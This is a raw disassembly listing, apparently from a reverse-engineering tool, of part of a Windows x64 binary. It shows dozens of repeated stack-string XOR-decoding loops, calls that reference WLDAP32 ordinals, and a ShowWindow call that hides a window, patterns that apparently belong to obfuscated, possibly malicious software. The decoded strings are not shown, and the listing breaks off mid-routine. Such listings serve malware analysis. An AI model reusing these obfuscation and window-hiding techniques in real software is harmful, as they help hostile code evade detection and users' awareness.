mov word [rsp + 0x2573], 0xb6
mov byte [rsp + 0x2575], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x253f], al
inc rcx
cmp rcx, 0x35
jb 0x1400eead0
mov byte [rsp + 0x2575], 0
lea rdx, [rsp + 0x253f]
lea rcx, [rsp + 0x4e8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x508]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x548]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x2576], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2596], xmm1
mov dword [rsp + 0x25a6], 0xc3ddbcb2
mov word [rsp + 0x25aa], 0xb6
mov byte [rsp + 0x25ac], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2576], al
inc rcx
cmp rcx, 0x35
jb 0x1400eeb70
mov byte [rsp + 0x25ac], 0
lea rdx, [rsp + 0x2576]
lea rcx, [rsp + 0x528]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x548]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x588]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x279d], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x27bd], xmm1
mov dword [rsp + 0x27cd], 0xc3ddbcb2
mov dword [rsp + 0x27d1], 0x100b7d8
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x279d], al
inc rcx
cmp rcx, 0x36
jb 0x1400eec10
mov byte [rsp + 0x27d4], 0
lea rdx, [rsp + 0x279d]
lea rcx, [rsp + 0x568]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x588]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x5c8]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x27d5], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x27f5], xmm1
mov dword [rsp + 0x2805], 0xd9d6bcb2
mov dword [rsp + 0x2809], 0x100b7d5
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x27d5], al
inc rcx
cmp rcx, 0x36
jb 0x1400eecb0
mov byte [rsp + 0x280c], 0
lea rdx, [rsp + 0x27d5]
lea rcx, [rsp + 0x5a8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x5c8]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x608]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x280d], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x282d], xmm1
mov dword [rsp + 0x283d], 0xc6d6bcb2
mov dword [rsp + 0x2841], 0x100b7de
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x280d], al
inc rcx
cmp rcx, 0x36
jb 0x1400eed50
mov byte [rsp + 0x2844], 0
lea rdx, [rsp + 0x280d]
lea rcx, [rsp + 0x5e8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x608]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x648]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x2845], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2865], xmm1
mov dword [rsp + 0x2875], 0xd9d6bcb2
mov dword [rsp + 0x2879], 0x100b7d5
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2845], al
inc rcx
cmp rcx, 0x36
jb 0x1400eedf0
mov byte [rsp + 0x287c], 0
lea rdx, [rsp + 0x2845]
lea rcx, [rsp + 0x628]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x648]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x688]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x25ad], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x25cd], xmm1
mov dword [rsp + 0x25dd], 0xc1d6bcb2
mov word [rsp + 0x25e1], 0xb6
mov byte [rsp + 0x25e3], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x25ad], al
inc rcx
cmp rcx, 0x35
jb 0x1400eee90
mov byte [rsp + 0x25e3], 0
lea rdx, [rsp + 0x25ad]
lea rcx, [rsp + 0x668]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x688]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x6c8]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x2b1d], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2b3d], xmm1
mov dword [rsp + 0x2b4d], 0xc6dbbcb2
mov dword [rsp + 0x2b51], 0xb8a6b6
mov byte [rsp + 0x2b55], 1
xor ecx, ecx
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2b1d], al
inc rcx
cmp rcx, 0x37
jb 0x1400eef30
mov byte [rsp + 0x2b55], 0
lea rdx, [rsp + 0x2b1d]
lea rcx, [rsp + 0x6a8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x6c8]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x708]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x287d], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x289d], xmm1
mov dword [rsp + 0x28ad], 0xc5c4bcb2
mov dword [rsp + 0x28b1], 0x100b7d8
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x287d], al
inc rcx
cmp rcx, 0x36
jb 0x1400eefd0
mov byte [rsp + 0x28b4], 0
lea rdx, [rsp + 0x287d]
lea rcx, [rsp + 0x6e8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x708]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x748]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x28b5], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x28d5], xmm1
mov dword [rsp + 0x28e5], 0xd4c4bcb2
mov dword [rsp + 0x28e9], 0x100b7c2
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x28b5], al
inc rcx
cmp rcx, 0x36
jb 0x1400ef070
mov byte [rsp + 0x28ec], 0
lea rdx, [rsp + 0x28b5]
lea rcx, [rsp + 0x728]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x748]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x788]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x28ed], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x290d], xmm1
mov dword [rsp + 0x291d], 0xc6c4bcb2
mov dword [rsp + 0x2921], 0x100b7d8
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x28ed], al
inc rcx
cmp rcx, 0x36
jb 0x1400ef110
mov byte [rsp + 0x2924], 0
lea rdx, [rsp + 0x28ed]
lea rcx, [rsp + 0x768]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x788]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x7c8]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x2925], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2945], xmm1
mov dword [rsp + 0x2955], 0xc3d7bcb2
mov dword [rsp + 0x2959], 0x100b7de
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2925], al
inc rcx
cmp rcx, 0x36
jb 0x1400ef1b0
mov byte [rsp + 0x295c], 0
lea rdx, [rsp + 0x2925]
lea rcx, [rsp + 0x7a8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x7c8]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x808]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x295d], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x297d], xmm1
mov dword [rsp + 0x298d], 0xc6d7bcb2
mov dword [rsp + 0x2991], 0x100b7de
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x295d], al
inc rcx
cmp rcx, 0x36
jb 0x1400ef250
mov byte [rsp + 0x2994], 0
lea rdx, [rsp + 0x295d]
lea rcx, [rsp + 0x7e8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x808]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x848]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x2b56], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2b76], xmm1
mov dword [rsp + 0x2b86], 0xc6d7bcb2
mov dword [rsp + 0x2b8a], 0xb8dfdd
mov byte [rsp + 0x2b8e], 1
xor ecx, ecx
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2b56], al
inc rcx
cmp rcx, 0x37
jb 0x1400ef2f0
mov byte [rsp + 0x2b8e], 0
lea rdx, [rsp + 0x2b56]
lea rcx, [rsp + 0x828]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x848]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x888]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x2995], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x29b5], xmm1
mov dword [rsp + 0x29c5], 0xc1d7bcb2
mov dword [rsp + 0x29c9], 0x100b7de
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2995], al
inc rcx
cmp rcx, 0x36
jb 0x1400ef390
mov byte [rsp + 0x29cc], 0
lea rdx, [rsp + 0x2995]
lea rcx, [rsp + 0x868]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x888]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x8c8]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x29cd], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x29ed], xmm1
mov dword [rsp + 0x29fd], 0xd4d7bcb2
mov dword [rsp + 0x2a01], 0x100b7de
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x29cd], al
inc rcx
cmp rcx, 0x36
jb 0x1400ef430
mov byte [rsp + 0x2a04], 0
lea rdx, [rsp + 0x29cd]
lea rcx, [rsp + 0x8a8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x8c8]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x908]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x25e4], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2604], xmm1
mov dword [rsp + 0x2614], 0xc1d7bcb2
mov word [rsp + 0x2618], 0xb6
mov byte [rsp + 0x261a], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x25e4], al
inc rcx
cmp rcx, 0x35
jb 0x1400ef4d0
mov byte [rsp + 0x261a], 0
lea rdx, [rsp + 0x25e4]
lea rcx, [rsp + 0x8e8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x908]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x948]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x2a05], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2a25], xmm1
mov dword [rsp + 0x2a35], 0xc6d7bcb2
mov dword [rsp + 0x2a39], 0x100b7dd
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2a05], al
inc rcx
cmp rcx, 0x36
jb 0x1400ef570
mov byte [rsp + 0x2a3c], 0
lea rdx, [rsp + 0x2a05]
lea rcx, [rsp + 0x928]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x948]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x988]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x261b], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x263b], xmm1
mov dword [rsp + 0x264b], 0xd4d7bcb2
mov word [rsp + 0x264f], 0xb6
mov byte [rsp + 0x2651], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x261b], al
inc rcx
cmp rcx, 0x35
jb 0x1400ef610
mov byte [rsp + 0x2651], 0
lea rdx, [rsp + 0x261b]
lea rcx, [rsp + 0x968]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x988]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x9c8]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x2652], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2672], xmm1
mov dword [rsp + 0x2682], 0xc6d7bcb2
mov word [rsp + 0x2686], 0xb6
mov byte [rsp + 0x2688], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2652], al
inc rcx
cmp rcx, 0x35
jb 0x1400ef6b0
mov byte [rsp + 0x2688], 0
lea rdx, [rsp + 0x2652]
lea rcx, [rsp + 0x9a8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x9c8]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0xa08]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x2689], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x26a9], xmm1
mov dword [rsp + 0x26b9], 0xc3d7bcb2
mov word [rsp + 0x26bd], 0xb6
mov byte [rsp + 0x26bf], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2689], al
inc rcx
cmp rcx, 0x35
jb 0x1400ef750
mov byte [rsp + 0x26bf], 0
lea rdx, [rsp + 0x2689]
lea rcx, [rsp + 0x9e8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0xa08]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0xa48]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x26c0], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x26e0], xmm1
mov dword [rsp + 0x26f0], 0xd8d7bcb2
mov word [rsp + 0x26f4], 0xb6
mov byte [rsp + 0x26f6], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x26c0], al
inc rcx
cmp rcx, 0x35
jb 0x1400ef7f0
mov byte [rsp + 0x26f6], 0
lea rdx, [rsp + 0x26c0]
lea rcx, [rsp + 0xa28]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0xa48]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0xa88]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x2a3d], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2a5d], xmm1
mov dword [rsp + 0x2a6d], 0xc3d6bcb2
mov dword [rsp + 0x2a71], 0x100b7de
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2a3d], al
inc rcx
cmp rcx, 0x36
jb 0x1400ef890
mov byte [rsp + 0x2a74], 0
lea rdx, [rsp + 0x2a3d]
lea rcx, [rsp + 0xa68]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0xa88]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0xac8]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x2a75], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2a95], xmm1
mov dword [rsp + 0x2aa5], 0xc6d6bcb2
mov dword [rsp + 0x2aa9], 0x100b7de
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2a75], al
inc rcx
cmp rcx, 0x36
jb 0x1400ef930
mov byte [rsp + 0x2aac], 0
lea rdx, [rsp + 0x2a75]
lea rcx, [rsp + 0xaa8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0xac8]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0xb08]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x2aad], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2acd], xmm1
mov dword [rsp + 0x2add], 0xd9d6bcb2
mov dword [rsp + 0x2ae1], 0x100b7d5
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2aad], al
inc rcx
cmp rcx, 0x36
jb 0x1400ef9d0
mov byte [rsp + 0x2ae4], 0
lea rdx, [rsp + 0x2aad]
lea rcx, [rsp + 0xae8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0xb08]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0xb48]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x26f7], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2717], xmm1
mov dword [rsp + 0x2727], 0xc1d6bcb2
mov word [rsp + 0x272b], 0xb6
mov byte [rsp + 0x272d], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x26f7], al
inc rcx
cmp rcx, 0x35
jb 0x1400efa70
mov byte [rsp + 0x272d], 0
lea rdx, [rsp + 0x26f7]
lea rcx, [rsp + 0xb28]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0xb48]
call fcn.14006d590
vmovdqu ymm0, ymmword [0x1401c51e0]
vmovdqu ymmword [rsp + 0x21d4], ymm0
vmovdqu xmm1, xmmword [0x1401c3970]
vmovdqu xmmword [rsp + 0x21f4], xmm1
mov dword [rsp + 0x2204], 0xe7eae1
mov byte [rsp + 0x2208], 1
xor ecx, ecx
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x21d4], al
inc rcx
cmp rcx, 0x33
jb 0x1400efaf0
mov byte [rsp + 0x2208], 0
lea rdx, [rsp + 0x21d4]
lea rcx, [rsp + 0xb68]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovdqu ymm0, ymmword [0x1401c51e0]
vmovdqu ymmword [rsp + 0x2209], ymm0
vmovdqu xmm1, xmmword [0x1401c38c0]
vmovdqu xmmword [rsp + 0x2229], xmm1
mov dword [rsp + 0x2239], 0xe6ede0bc
mov word [rsp + 0x223d], 0x100
xor ecx, ecx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2209], al
inc rcx
cmp rcx, 0x34
jb 0x1400efb70
mov byte [rsp + 0x223e], 0
lea rdx, [rsp + 0x2209]
lea rcx, [rsp + 0xb88]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovdqu ymm0, ymmword [0x1401c51e0]
vmovdqu ymmword [rsp + 0x223f], ymm0
vmovdqu xmm1, xmmword [0x1401c38b0]
vmovdqu xmmword [rsp + 0x225f], xmm1
mov dword [rsp + 0x226f], 0xd0ccd6bc
mov word [rsp + 0x2273], 0x100
xor ecx, ecx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x223f], al
inc rcx
cmp rcx, 0x34
jb 0x1400efbf0
mov byte [rsp + 0x2274], 0
lea rdx, [rsp + 0x223f]
lea rcx, [rsp + 0xba8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
mov ebx, 2
mov ecx, ebx
call fcn.14011f140
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
vmovups ymm0, ymmword [0x1401bd200]
vmovups ymmword [rsp + 0x305b], ymm0
vmovups ymm1, ymmword [0x1401bd220]
vmovups ymmword [rsp + 0x307b], ymm1
vmovups ymm0, ymmword [0x1401bd240]
vmovups ymmword [rsp + 0x309b], ymm0
vmovups xmm1, xmmword [0x1401bd260]
vmovups xmmword [rsp + 0x30bb], xmm1
mov eax, dword [0x1401bd270]
mov dword [rsp + 0x30cb], eax
movzx eax, word [0x1401bd274]
mov word [rsp + 0x30cf], ax
xor r8d, r8d
lea r9, [rsp + 0x305c]
nop dword [rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
add r8d, ebx
lea r9, [r9 + 2]
cmp r8d, 0x76
jl 0x1400efcb0
lea rdx, [rsp + 0x305b]
lea rcx, [rsp + 0xbc8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovdqu ymm0, ymmword [0x1401c4600]
vmovdqu ymmword [rsp + 0x272e], ymm0
vmovdqu xmm1, xmmword [0x1401c3a50]
vmovdqu xmmword [rsp + 0x274e], xmm1
mov dword [rsp + 0x275e], 0xbab4e7f3
mov word [rsp + 0x2762], 0xf0
mov byte [rsp + 0x2764], 1
xor ecx, ecx
nop word [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x272e], al
inc rcx
cmp rcx, 0x35
jb 0x1400efd70
mov byte [rsp + 0x2764], 0
lea rdx, [rsp + 0x272e]
lea rcx, [rsp + 0xbe8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bd280]
vmovups ymmword [rsp + 0x31bf], ymm0
vmovups ymm1, ymmword [0x1401bd2a0]
vmovups ymmword [rsp + 0x31df], ymm1
vmovups ymm0, ymmword [0x1401bd2c0]
vmovups ymmword [rsp + 0x31ff], ymm0
vmovups xmm1, xmmword [str.B1__942IE]
vmovups xmmword [rsp + 0x321f], xmm1
vmovsd xmm0, qword [0x1401bd2f0]
vmovsd qword [rsp + 0x322f], xmm0
mov eax, dword [0x1401bd2f8]
mov dword [rsp + 0x3237], eax
xor r10d, r10d
mov eax, 0x3521cfb3
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x31bf], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x31c0], al
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x31c1], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x31c2], al
lea ecx, [r8 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x31c3], al
lea ecx, [r8 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x31c4], al
lea ecx, [r8 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x31c5], al
lea ecx, [r8 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x31c6], al
lea ecx, [r8 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x31c7], al
lea ecx, [r8 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x31c8], al
lea ecx, [r8 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x41
